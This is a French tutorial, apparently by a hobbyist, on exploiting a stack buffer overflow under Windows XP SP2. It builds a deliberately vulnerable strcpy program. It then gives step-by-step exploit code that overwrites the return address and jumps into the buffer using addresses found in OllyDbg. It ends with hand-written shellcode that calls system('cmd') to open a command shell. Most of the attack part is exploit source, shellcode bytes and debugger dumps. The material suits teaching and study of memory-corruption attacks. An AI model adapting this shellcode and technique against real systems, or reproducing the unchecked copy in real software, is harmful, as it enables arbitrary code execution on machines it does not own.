Exploiter la stack sous windows xp sp2 Just for knowledge
Transcription
Exploiter la stack sous windows xp sp2 Just for knowledge
Exploiter la stack sous windows xp sp2 Just for knowledge Pourquoi cet article ? On trouve sur internet à 90% que des articles expliquant la technique sous linux, or le commun des mortels possèdent windows !!! De plus la plupart des articles que l'on rencontre sont soit que de la théorie soit que du repomper d'ailleur, et souvent repomper de l'article de phrack « Smashing The Stack For Fun And Profit » Je ne suis pas un grand écrivain comme vous pouvez le voir mais j'ai envie de faire partager ce que je sais faire alors c'est parti. Je vais tenter de vous montrer à quel point il est facile d'exploiter un stack overflow sous windows xp sp2. Vous aurez besoin d'un minimum de connaissances, en asssembleur, sur l'architecture de la mémoire, et posséder un debuggeur. Etant donné que je réalise cette exploitation sous windows, je me sers d'Ollydbg qui est pour moi le meilleur debuggeur, qui sert pratiquement à tout :). Rappel, stack ou pile La stack est une structure de données basée sur le principe LIFO, ( Last In, Firts Out) ce qui signifie que les derniers éléments mis sur la pile seront les premiers à être récupérer. Concrétement lors de l'appel d'une fonction, ses arguments sont poussés (push) sur la stack suivi par l'appel de la fonction (call). push eax //push du deuxième argument push ebx //push du premier argument call 0x77BF93C7 // appel de la fonction à partir de son adresse. Lorsque l'appel de la fonction est exécuté, c'est-à-dire le call 0x77BF93C7, la valeur actuelle de l'eip ( le point d'instruction) est poussé également sur la pile et sert d'adresse de retour de la fonction. Explication: Une fois que la fonction aura terminé sa fonction :p, l'eip sera dépilé (pop) et permettra à la fonction de rendre la main, ainsi le programme continuera son exécution en sautant vers l'adresse contenu dans l'eip. L'eip est appelé adresse de retour ou RET sur la pile car il permet à la fonction de rendre la main à l'exécution qui va poursuivre vers une instruction suivante dont l'adresse est contenue dans l'eip ok ? Çà va ? Adresse haute eip contenant 0x77BF9300 par exemple appéle RET ebx eax Adresse basse donc dès que la fonction a terminé son boulot la RET est dépilé et on jump vers 0x77BF9300 continuer l'exécution. Le stack overflow Imaginons que vous déclarer un buffer d'une taille quelconque aller on va dire 20 octects :) pour y recevoir une donnée rentrée par l'utilisateur. Voici la pile: Adresse haute votre buffer ebp RET Adresse basse Etant donné que la pile croit vers le bas, nous allons avoir la possibilité d'écrire par dessus la RET en entrant trop de valeur dans le buffer. Si aucun test n'est effecté sur la taille des données que rentre l'utilisateur et bien les données en trop vont venir écrasé les données se trouvant avant dans la pile. Pourquoi écrire par dessus la RET ou eip ? Nous avons vu que le programme, une fois que la fonction a terminé son travail, dépile (pop) la RET et jump à l'adresse quelle contient donc si nous pouvons passer une adresse spécifique à la place, le programme va jumper vers notre adresse. Le but de l'exploitation d'un stack overflow est de faire exécuter des instructions arbitraires au processeur (au programme cible). Ses instructions vont etre mis en mémoire dans la stack dans le buffer où l'utilisateur entre des données :) et ensuite nous faisons un jump vers le buffer ( en modifier l'adresse de la RET par l'adresse du buffer) et le processeur va tout simplement exécuter les instructions se trouvant dans le buffer. Bon aller assez parler, et puis si c'est flou passons à la pratique maintenant. Munissez-vous de votre ami Ollydbg, aller dans option et mettez-le en mode Just-in-time Debuggeur. Nous allons réalisé un petit programme vulnérable. #include<stdio.h> #include<string.h> int main(int argc, char *argv[]) { char buffer[20]; // nous allouons un buffer de 20 octects if(argc != 2){ return -1;} strcpy(buffer, argv[1]); /*nous copions directement sans contrôle le contenu de l'argument entré par l'utilisateur dans le buffer de 20 octects.*/ printf("vous avez entre: %s\n\n", buffer); // on affiche le contenu du buffer return 0x0; } Voici le déroulement correct du programme: Maintenant que se passe-til si on entre plus de données que 20 octects. Dès lors Ollydbg se lance, car il y a eu un problème en mémoire. Voici l'état des registres: EAX 00000000 ECX 77C118BF msvcrt.77C118BF EDX 77C31B78 msvcrt.77C31B78 EBX 00004000 ESP 0022FF80 ASCII "AAAAAAAAAAAAAaa" EBP 41414141 ESI 00000000 EDI 00000010 EIP 41414141 A en hexa vaut 0x41, donc on remarque que nous avons réecrit sur l'ebp se trouvant avant le buffer dans la stack ( buffer + ebp + eip ) nous avons également réecrit sur l'eip et donc ainsi nous controlons l'exécution :). Pour l'instant il ne se passe rien car l'adresse 41414141 ne mène nulle part ici. GDB un bon debugger nous aurait dit sympatiquement « segmentation fault » :) On peut remarquer que l'esp a pris une partie de données que nous avons entrée, mais il est bien trop petit pour les instructions que allons mettre et faire exécuter. Concrètement ce que nous allons faire c'est écrit des instructions dans le buffer, réecrire l'eip au bon endroit et jumper dans le buffer. Fastoche :). Première étape: Trouver le nombre exacte de données pour écraser pile poil l'eip. Bon bah çà çà ce fait à tatons :). Construire l'exploit: Voici la source assez simple de notre exploit, biensur en local. #include <stdio.h> #include <string.h> #include <unistd.h> //execve int main(int argc, char *argv[]) { char *vuln[3]; char buffer[43]; vuln[0] = "prog.exe"; //programme vulnérable vuln[2] = NULL; unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x58\x58" // RET ( eip ) ; memcpy(&buffer[0], shellcode, sizeof(shellcode)-1); vuln[1] = buffer; execve(vuln[0], vuln, NULL); return 0x0; } Donc après tatonnage nous observons qu'il nous faut exactement 43 octects pour réaliser un overflow et en réecrivant pile poil sur la ret. \x58 en hexa correspond en ascii à la lettre X et \x41 à A. D'où la composition du shellcode pour le moment. Nous verrons ce qu'est vraiment le shellcode par la suite. Vérification en lançant notre exploit, ollydbg nous donne: EAX 00000000 ECX 77C118BF msvcrt.77C118BF EDX 77C31B78 msvcrt.77C31B78 EBX 00004000 ESP 0022FF80 EBP 41414141 ESI 0F0E0D0C EDI 00000000 EIP 58584141 => ceci correspond bien à nos \x41\x41\x58\x58 de fins du buffer de l'exploit. Rappel: Maintenant que nous pouvons réecrire précisément l'adresse de retour de la fonction strcpy, et modifier le cours de l'exécution du programme il nous faut un endroit où jumper, un endroit qui contiendra les instructions que nous voulons faire faire au processeur. Il y a diverse manière d'exploiter un overflow, certains jump vers l'esp, essayons pour voir. L'esp se trouve théoriquement à cette adresse 0022FF80 d'après l'état des registres précédents. Mais l'esp n'est pas fixe ainsi nous allons faire un jump esp à partir de l'adresse d'une des dll charger en mémoire. Dans ollydbg, aller dans le menu view, puis executable module. Double cliquer par exemple sur kernel32.dll, une fois décompiler faite un clic droit, search for> command. Taper jump esp, si çà ne marche pas taper call esp. Dans mon cas j'obtiens 7C82385D. Remplaçons donc dans notre « shellcode » la ret. unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x41\x41\x58\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5D\x38\x82\x7C" // RET ( eip ) ; La norme little endian veut que les adresses soient écrits par ordre d'octet de poids le plus faible en premier d'où \x5D\x38\x82\x7C. Au passage j'ai remplacer les \x41 par des nops \x90 qui est une instruction ne faisant rien du tout :). \x41 en assembleur est une instruction, oui ce n'est pas un A !! seulement en ASCII. D'ailleur \x41 = inc ecx donc pour éviter de foutre le bordel en mémoire. Mais j'en laisse deux pour bien identifier le buffer en mémoire. Testons. C'est gagnez vous êtes un winner, nous venons de sauter dans l'esp, qui était bel et bien à l'adresse 0022FF80. Mais l'esp ne nous interesse vraiment pas il est trop petit pour abriter nos instructions :p. Hum mais qu'il y a t-il juste après sacrebleu !!!! 0022FF7C 7C82385F RETURN to kernel32.7C82385F 0022FF80 00000000 0022FF84 003D24A0 0022FF88 003D2A00 0022FF80 0022FF82 0022FF84 0022FF89 0000 ADD BYTE PTR DS:[EAX],AL 0000 ADD BYTE PTR DS:[EAX],AL A0 243D0000 MOV AL,BYTE PTR DS:[3D24] 2A3D 00004040 SUB BH,BYTE PTR DS:[40400000] Hum mais qu'est-ce que c'est 003D24A0 ? Ne serait-ce point la valeur prise par ecx pointant vers la fin du buffer... 0_O Jumpons mes amis pour voir :). unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x41\x41\x58\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xA0\x24\x3D\x00" // RET ( eip ) ; Hum et que nous affiche ollydbg ? Hum rien de palpitant au premiers abords, mais si nous décrémentons l'adresse, ( t'as une scrollbar mon ami sous ollydbg ;) ). 003D2445 0090 90909090 ADD BYTE PTR DS:[EAX+90909090],DL 003D244B 90 NOP 003D244C 90 NOP 003D244D 90 NOP 003D244E 90 NOP 003D244F 90 NOP 003D2450 90 NOP 003D2451 90 NOP 003D2452 90 NOP 003D2453 90 NOP 003D2454 90 NOP 003D2455 90 NOP 003D2456 90 NOP 003D2457 90 NOP 003D2458 90 NOP 003D2459 90 NOP 003D245A 90 NOP 003D245B 90 NOP 003D245C 41 INC ECX 003D245D 41 INC ECX 003D245E 58 POP EAX 003D245F 90 NOP 003D2460 90 NOP 003D2461 90 NOP 003D2462 90 NOP 003D2463 90 NOP 003D2464 90 NOP 003D2465 90 NOP 003D2466 90 NOP 003D2467 90 NOP 003D2468 90 NOP 003D2469 90 NOP 003D246A 90 NOP 003D246B 90 NOP 003D246C 90 NOP 003D246D 90 NOP 003D246E 90 NOP 003D246F 90 NOP 003D2470 90 NOP 003D2471 90 NOP 003D2472 90 NOP 003D2473 A0 243D0055 MOV AL,BYTE PTR DS:[55003D24] 003D2478 0200 ADD AL,BYTE PTR DS:[EAX] 003D247A 0A00 OR AL,BYTE PTR DS:[EAX] 003D247C 65:0108 ADD DWORD PTR GS:[EAX],ECX 003D247F 0000 ADD BYTE PTR DS:[EAX],AL 003D2481 0000 ADD BYTE PTR DS:[EAX],AL 003D2483 0090 243D0002 ADD BYTE PTR DS:[EAX+2003D24],DL 003D2489 0002 ADD BYTE PTR DS:[EDX],AL 003D248B 007B 01 ADD BYTE PTR DS:[EBX+1],BH 003D248E 0800 OR BYTE PTR DS:[EAX],AL 003D2490 80243D 00000000 >AND BYTE PTR DS:[EDI],0 003D2498 0300 ADD EAX,DWORD PTR DS:[EAX] 003D249A 0200 ADD AL,BYTE PTR DS:[EAX] 003D249C 79 01 JNS SHORT 003D249F 003D249E 0C 00 OR AL,0 003D24A0 3D 243D0047 CMP EAX,47003D24 003D24A5 24 3D AND AL,3D Ne seraient-ce point nos nops et nos deux \x41 suivi du \x58. Alléluia, nous avons retrouvé notre buffer en mémoire. Maintenant nous connaissons l'adresse plus ou moins de notre buffer donc nous allons pouvoir mettre des instructions dans notre buffer et les faire exécuter en jumpant vers celui-ci. Si t'as pas compris on passe à la pratique tout de suite. Nous allons jumper en 003D2456 en plein coeur des nops et l'exécution va se poursuivre jusqu'à rencontrer une instruction dans le buffer. Nous allons y placer un breakpoint qui va stopper l'exécution du programme. Un breakpoint est une interruption qui a pour valeur hexadécimale \xCC. Voici le shellcode a balancé. unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\xCC\x41\x41\x58\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x56\x24\x3D\x00" // RET ( eip ) ; Testons. 003D2458 003D2459 003D245A 003D245B 003D245C 003D245D 003D245E 003D245F 90 90 90 CC 41 41 58 90 NOP NOP NOP INT3 INC ECX INC ECX POP EAX NOP Shellcode Ollydbg c'est parfaitement arreter à l'adresse 003D245B contenant notre breakpoint c'est niquel :). Bon bah c'est fini :p, tout marche on arrive à sauter dans le buffer et les instructions contenues sont exécutées bon je vous entends me dire que c'est pas très intéressant d'exploiter pour balancer un breakpoint alors nous allons nous coder quelques instructions pour lancer le shell de windows. Pour ce faire nous allons avoir besoin de l'adresse de la fonction escape shell system(). Ceci est très simple. Faites un clique droit sous ollydbg et continuer sur search for puis name in all module. Vous avez désormais devant vos yeux les adresses de toutes les fonctions exportées et importées contenues dans les dll chargées en mémoire. System çà commence par un S alors tu cherches vers le bas :p. Address=77BF93C7 msvcrt Section=.text Type=Export (Known) Name=system Pour lancer le cmd il faut passer la string « cmd » à la fonction system donc il va nous falloir utiliser une pile pour y mettre « cmd » + le caractere de fin de chaine 0x00. Un autre problème se présente, on ne peut pas passer le caractere NULL 0x00 dans le buffer sinon il sera considéré comme une chaine de caractère et le buffer sera tronqué. Hop, un peu d'assembleur. mov ebp, esp //en mettant ebp et esp à un niveau identique on crée une pile. Pour obtenir le 0 de fin de chaine de « cmd » on fait tout simplement un xor sur un registre, ici ebx mais eax peu importe c'est le principe qu'il faut. xor ebx, ebx push ebx Bon après je passe les détails :p, ebx est un registre de 32bits or 1 char vaut 1 octect soit 8 bits on peut donc y écrire 4 char, on a juste besoin de foutre « cmd » donc c'est bon. Il ne reste plus qu'à mettre l'adresse d'ebx en argument à system. Voici notre shellcode final. unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8B\xEC\x33\xC9\x51\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45" "\xFE\x64\xB8\xC7\x93\xBF\x77\x50\x8D\x45\xFC\x50\xFF\x55\xF8" "\x90\x4F\x24\x3D\x00" ; Hé voilà tout marche, c'est magique. Cet article n'a aucune prétention, non surtout pas étant donné la rapidité avec laquelle il a rédigé. Copyright (c) k-otik, [email protected]